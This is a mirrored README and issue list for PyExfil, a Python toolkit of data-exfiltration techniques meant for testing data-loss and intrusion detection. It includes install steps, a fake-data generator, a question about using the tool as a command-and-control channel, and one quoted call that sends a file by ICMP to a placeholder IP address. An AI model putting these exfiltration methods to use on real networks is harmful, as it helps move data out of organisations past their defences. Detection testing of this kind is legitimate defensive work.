Code Monkey home page Code Monkey logo

pyexfil's Introduction

PyExfil

Stress Testing Detection & Creativity

Contributions Welcome HitCount PyPI download month PyPI license GitHub stars made-with-python

Logo

PyExfil was born as a PoC and kind of a playground and grew to be something a bit more. In my eyes it's still a messy PoC that needs a lot more work and testing to become stable. The purpose of PyExfil is to set as many exfiltration, and now also communication, techniques that CAN be used by various threat actors/malware around to bypass various detection and mitigation tools and techniques. You can track changes at the official GitHub page.

Putting it simply, it's meant to be used as a testing tool rather than an actual Red Teaming tool. Although most techniques and methods should be easily ported and compiled to various operating systems, some stable some experimental, the transmission mechanism should be stable on all techniques. Clone it, deploy on a node in your organization and see which systems can catch which techniques.

Getting Started

PIP

For using pip (not necessarily the most updated):

pip install --user PyExfil

Prerequisites

For source:

git clone https://www.github.com/ytisf/PyExfil
cd PyExfil
pip install --user -r requirements.txt

We recommend installing py2exe as well so that you may cross compile various modules to a binary for easier transportation. You can do that with:

pip install py2exe

Installing

Go to the same folder where PyExfil was cloned to and:

pip setup.py --user install

List of Techniques

For usage per modules have a look at the USAGE file.

Data Generation

Although this tool was initially created as a game and later on turned to be a Red Team oriented tool, at the end of a day a major usage of PyExfil is to test various DLP (Data Leakage Protection) systems as well as detection of intrusion. To make the latter mission simpler we have created a little module to generate fake data with a structure that matches both PII and PCI data sets. These are intended to trigger alerts while being broadcate outside of the network.

Here is how to use it:

from pyexfil.includes import CreateTestData

c = CreateTestData(rows=1000, output_location="/tmp/list.csv")
c.Run()

After this you can use which ever PyExfil module you would like to try and exfiltrate the data set created. This way you can test your detection without risking exfiltrating valuable data.

Contributions

We welcome it! From testing, to improving quality of code and up to entirely new methods.

Future Changes

Versioning

For details about version look at the tags on this repository.

Version 1.0.0!

  • Surprise on restructure (Add Another).
  • Split DOCUMENTATION.md and README.md to two different files.
  • Get a nice logo.
  • Uniform calling convention for newer modules.
  • Exfiltration data-set generator (PII&PCI).

Version 1.3 - Harpax:

  • Adding 4 new modules.
  • General fixups.
  • Some old modules recoded to fit new standard.
  • Full compatibility between Python2 and Python3.

Version 1.4 - ?:

  • Expand physical exfiltration channels.
  • Re-test servers on older modules.
  • Add file manipulation class (for example, module zipception does not fit into any existing category although currently residing under Stega).

Hopefully - Close Future

  • Attempt at creating a more uniform call convention. See DOCUMENTATION.md.
  • Fix that poorly written setup.py.
  • Backport all old modules to new calling convention.

In the Distant Future - The Year 2000

  • Add Golang/C++ support for portability.
  • Extensive testing for py2exe support.

Acknowledgments

People & Companies

  • Big shout out to JetBrains!!!
  • Thanks to barachy and AM for ideas on protocols to use.
  • Thanks to Itzik Kotler for some ideas.
  • Shout out to @cac0ns3c for resolving some dependency hell.
  • Thanks to @Nilesh0301 for pointing out some Python compatibility issues.
  • Big thanks to @hbmartin for pointing us to pytube3 latest update and support.

Resources

  • Thanks Wireshark for your awesome wiki and tool. Especially packet dumps.
  • Shout out to the nmap guys.
  • Thanks to Trey Hunner for the package names.
  • The Faker package.
  • Special thanks to Thomas Baruchel and Fredrik de Vibe for the txt2pdf package we used in the braille exfiltration package.

pyexfil's People

Contributors

adulau avatar dabi0ne avatar dzertlife avatar james-richards-privitar avatar matthieuxyz avatar sheksa avatar tisf avatar ytisf avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

pyexfil's Issues

Bidirectional channel?

Could this be extended to be a bidirectional C&C channel, or is it just for sending output at the moment?

Apologies if silly question, have not yet had time to RTFC :P but seriously, nice work :D

Clean install doesn't work

I'm trying to use PyExfil and I'm having several problems starting from a clean install (Python 3.9.1, Linux).

I'm following the instructions in the README:

git clone https://www.github.com/ytisf/PyExfil
cd PyExfil
pip install --user -r requirements.txt

except with pip install -r requirements3.txt because I'm in a venv and requirements.txt doesn't exist. I also removed the librosa (audio analysis) dependency since in turn it depended on llvm-libs.

The readme then specifies pip setup.py --user install (that should be python). I'm getting error: option --user not recognized, so I drop it. Python then says:

rocessing dependencies for PyExfil==1.3
Searching for urllib2
Reading https://pypi.org/simple/urllib2/
Couldn't find index page for 'urllib2' (maybe misspelled?)
Scanning index of all packages (this may take a while)
Reading https://pypi.org/simple/
No local packages or working download links found for urllib2
error: Could not find suitable distribution for Requirement.parse('urllib2')

It is actually a Python 2 standard library so I removed the requirement; note however that it is still used in HTTPS and QUIC.

Likewise for hashlib, although with a more cryptic error.

The installation then proceeds successfully, but I can't import anything from the package:

Traceback (most recent call last):
  File "/home/yuri/codice/bizarre-net/socket/pyexfil-bridge.py", line 3, in <module>
    from pyexfil.network.ICMP.icmp_exfiltration import send_file, init_listener
ModuleNotFoundError: No module named 'pyexfil.network'

Indeed, importing it in the REPL shows that it only exports AUTHORS, NAME and a few other variables.

I then tried installing it "manually" by copying the pyexfil directory to where I needed it. I then found out that even a simple usage doesn't work:

#!/usr/bin/python

from pyexfil.network.ICMP.icmp_exfiltration import send_file, init_listener

send_file("1.2.3.4", file_path="/tmp/file")
Traceback (most recent call last):
  File "/home/yuri/codice/bizarre-net/socket/pyexfil-bridge.py", line 5, in <module>
    send_file("1.2.3.4", file_path="/tmp/file")
  File "/home/yuri/codice/bizarre-net/socket/pyexfil/network/ICMP/icmp_exfiltration.py", line 76, in send_file
    icmp.contains(ImpactPacket.Data(current_packet))
  File "/home/yuri/codice/bizarre-net/socket/venv/lib/python3.9/site-packages/impacket/ImpactPacket.py", line 485, in __init__
    self.set_data(aBuffer)
  File "/home/yuri/codice/bizarre-net/socket/venv/lib/python3.9/site-packages/impacket/ImpactPacket.py", line 488, in set_data
    self.set_bytes_from_string(data)
  File "/home/yuri/codice/bizarre-net/socket/venv/lib/python3.9/site-packages/impacket/ImpactPacket.py", line 59, in set_bytes_from_string
    self.__bytes = array.array('B', data)
TypeError: cannot use a str to initialize an array with typecode 'B'

I believe this error is caused by my version of impacket being too recent, as there are no specific constraints in requirements.txt or setup.py. I think the author will need to freeze the packages to known-good versions.

Monkey Code

Nope. Not code monkey. Both of these were developed in a hurry and too late at night. It literally looks like a monkey with a keyboard wrote them. Need to write it in a way which will less resemble assembly.

Scapy

Hello ytisf, I don't know where to put my question but why do you don't use scapy for the exfiltration ? (thanks for the zoo by the way)

Set zip_safe flag to True in setup.py setup()

Should this package be installed with the zip_safe flag set to true?

See here:

http://peak.telecommunity.com/DevCenter/setuptools#setting-the-zip-safe-flag

##Note:
For maximum performance, Python packages are best installed as zip files. Not all packages, however, are capable of running in compressed form, because they may expect to be able to access either source code or data files as normal operating system files. So, setuptools can install your project as a zipfile or a directory, and its default choice is determined by the project's zip_safe flag.

You can pass a True or False value for the zip_safe argument to the setup() function, or you can omit it. If you omit it, the bdist_egg command will analyze your project's contents to see if it can detect any conditions that would prevent it from working in a zipfile. It will output notices to the console about any such conditions that it finds.

Currently, this analysis is extremely conservative: it will consider the project unsafe if it contains any C extensions or datafiles whatsoever. This does not mean that the project can't or won't work as a zipfile! It just means that the bdist_egg authors aren't yet comfortable asserting that the project will work. If the project contains no C or data files, and does no file or path introspection or source code manipulation, then there is an extremely solid chance the project will work when installed as a zipfile. (And if the project uses pkg_resources for all its data file access, then C extensions and other data files shouldn't be a problem at all. See the Accessing Data Files at Runtime section above for more information.)

However, if bdist_egg can't be sure that your package will work, but you've checked over all the warnings it issued, and you are either satisfied it will work (or if you want to try it for yourself), then you should set zip_safe to True in your setup() call. If it turns out that it doesn't work, you can always change it to False, which will force setuptools to install your project as a directory rather than as a zipfile.

Of course, the end-user can still override either decision, if they are using EasyInstall to install your package. And, if you want to override for testing purposes, you can just run setup.py easy_install --zip-ok . or setup.py easy_install --always-unzip . in your project directory. to install the package as a zipfile or directory, respectively.

In the future, as we gain more experience with different packages and become more satisfied with the robustness of the pkg_resources runtime, the "zip safety" analysis may become less conservative. However, we strongly recommend that you determine for yourself whether your project functions correctly when installed as a zipfile, correct any problems if you can, and then make an explicit declaration of True or False for the zip_safe flag, so that it will not be necessary for bdist_egg or EasyInstall to try to guess whether your project can work as a zipfile.

Verify all files

Need to check all file formats and not just PNG to make sure all data are moving

Inserted comma instead of 'as'

At line 118 and 125, the code snippet

except socket.error, msg:

should be replaced with

except socket.error as msg:.

except socket.error, msg :
sys.stderr.write('Failed to create socket. Error Code : ' + str(msg[0]) + ' Message ' + msg[1])
raise
# Try binding to the socket
try:
s.bind((host, port))
except socket.error, msg:
sys.stderr.write('Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1])

Argument Handeling

Currently it does none.
Need to get the destination IP & the file to exfiltrate as arguments.

Installation fails because zlib is not installed

I am failing to install PyExFill with pip (pip install --user PyExfil) but it fails due to the following error:

โžœ  pip install --user PyExfil
Collecting PyExfil
  Using cached PyExfil-1.10.4.tar.gz (5.2 kB)
  Preparing metadata (setup.py) ... done
Requirement already satisfied: requests>=1.0.0 in /home/oma/.pyenv/versions/3.11.2/lib/python3.11/site-packages (from PyExfil) (2.28.2)
Collecting impacket>=0.9.0 (from PyExfil)
  Using cached impacket-0.11.0-py3-none-any.whl
Collecting slackclient (from PyExfil)
  Using cached slackclient-2.9.4-py2.py3-none-any.whl (97 kB)
Requirement already satisfied: progressbar in /home/oma/.pyenv/versions/3.11.2/lib/python3.11/site-packages (from PyExfil) (2.5)
INFO: pip is looking at multiple versions of pyexfil to determine which version is compatible with other requirements. This could take a while.
Collecting PyExfil
  Using cached PyExfil-1.3-py3-none-any.whl (2.5 kB)
ERROR: Cannot install pyexfil==1.10.4 and pyexfil==1.3 because these package versions have conflicting dependencies.

The conflict is caused by:
    pyexfil 1.10.4 depends on zlib
    pyexfil 1.3 depends on zlib

To fix this you could try to:
1. loosen the range of package versions you've specified
2. remove package versions to allow pip attempt to solve the dependency conflict

ERROR: ResolutionImpossible: for help visit https://pip.pypa.io/en/latest/topics/dependency-resolution/#dealing-with-dependency-conflicts

The zlib library is a module from the standard library (link) and i have installed both packages (zlib1g zlib1g-dev) recommended by different stack overflow questions. So the requirement should be fulfilled.

Info about my system:

  • Kali on WSL (Windows subsystem for Linux)
VERSION_ID="2023.3"
VERSION="2023.3"
VERSION_CODENAME=kali-rolling
  • Python version: Python 3.11.2

Could not find a version that satisfies the requirement ftplib

pip3 install pyExfil
Collecting pyExfil
Downloading PyExfil-1.10.4.tar.gz (5.2 kB)
Requirement already satisfied: Pillow in /usr/lib/python3/dist-packages (from pyExfil) (7.0.0)
Requirement already satisfied: PyCrypto in /usr/lib/python3/dist-packages (from pyExfil) (2.6.1)
Collecting base58
Downloading base58-2.0.1-py3-none-any.whl (4.3 kB)
ERROR: Could not find a version that satisfies the requirement ftplib (from pyExfil) (from versions: none)
ERROR: No matching distribution found for ftplib (from pyExfil)

My python Version is -
Python 3.8.5
and pip versions is -
pip 20.0.2

File name save

File name is currently generated but need to use real file name. Currently some issue with encoding.

PyExfil tool into DNS queries working

To ytisf,

Hi, I'm a visitor, who's looking on your tool (PyExfil), I would like to ask you about the tool working.
How I would contact you in a private way? Please provide anything about your email or contact information to me. I'm studying about DNS exfiltration data from DNS traffic, your tool that it's interesting for me.

I'm looking for your answer, please help me.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.